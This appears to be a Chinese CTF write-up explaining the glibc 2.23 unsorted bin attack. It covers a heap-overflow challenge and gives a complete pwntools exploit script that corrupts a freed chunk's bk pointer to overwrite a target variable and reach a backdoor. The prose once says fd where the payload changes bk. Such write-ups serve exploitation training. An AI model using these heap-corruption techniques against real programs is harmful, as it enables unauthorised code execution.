适用libc版本:2.23。
2.27引入了双向链表检查,从unsorted bin中取块时检查所取chunk的fd指针指向的chunk的bk指针是否等于所取chunk,大致为如下所示。
//称victim为所取块
if(victim->fd->bk!=victim||victim->bk->fd!=victim)
{
exit();
}
思路
利用漏洞使一个chunk被释放后修改这个chunk的bk指针,指向要修改的目标内存-0x10处,通过从unsorted bin取块时,链表本身发生的操作将目标内存指向一个地址,从而实现修改目标内存为一个较大的值。(主要用于辅助攻击手段,如修改global_max_fast为较大值使所有chunk都使用fast bin管理)
利用条件
- 存在堆溢出,可以在chunk被释放后修改chunk的bk指针
例题

menu:

create:

heaparray数组仅存放chunk的user data地址,不存放大小
edit:

未对修改长度做限制,edit长度大于原长度时产生堆溢出。
delete:

free后置零,没有UAF。

同时存在后门函数,修改一个内存为较大的数即可触发,为了unsorted bin attack而设置的一个点。
整体思路就是释放chunk后edit前一个chunk堆溢出到修改释放的chunk的fd值指向magic,然后malloc对应大小的chunk使被释放chunk从unsorted bin的链表中脱出时修改magic为unsorted bin地址,从而完成修改目标内存为一个较大的值的目的。
exp
from pwn import *
context(arch='amd64',log_level='debug')
file = './pwn'
elf = ELF(file)
p=process(file)
#gdb.attach(p,"b *0x400DB5")
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
inf = lambda s :info(f"{s} ==> 0x{eval(s):x}")
def create(size,content):
ru("Your choice")
sl("1")
ru("Size of Heap :")
sl(str(size).encode())
ru("Content of heap:")
sl(content)
def edit(index,size,content):
ru("Your choice")
sl("2")
ru("Index :")
sl(str(index))
ru("Size of Heap :")
sl(str(size).encode())
ru("Content of heap :")
sl(content)
def delete(index):
ru("Your choice")
sl("3")
ru("Index :")
sl(str(index))
create(0x80,"aaaa")
create(0x80,"bbbb")
create(0x80,"cccc")
payload=p64(0)*0x11+p64(0x91)+p64(0)+p64(0x6020A0-0x10)
delete(1)
edit(0,0x80+0x10+0x10,payload)
create(0x80,"aaaa")
ru("Your choice")
sl("114514")

Comments NOTHING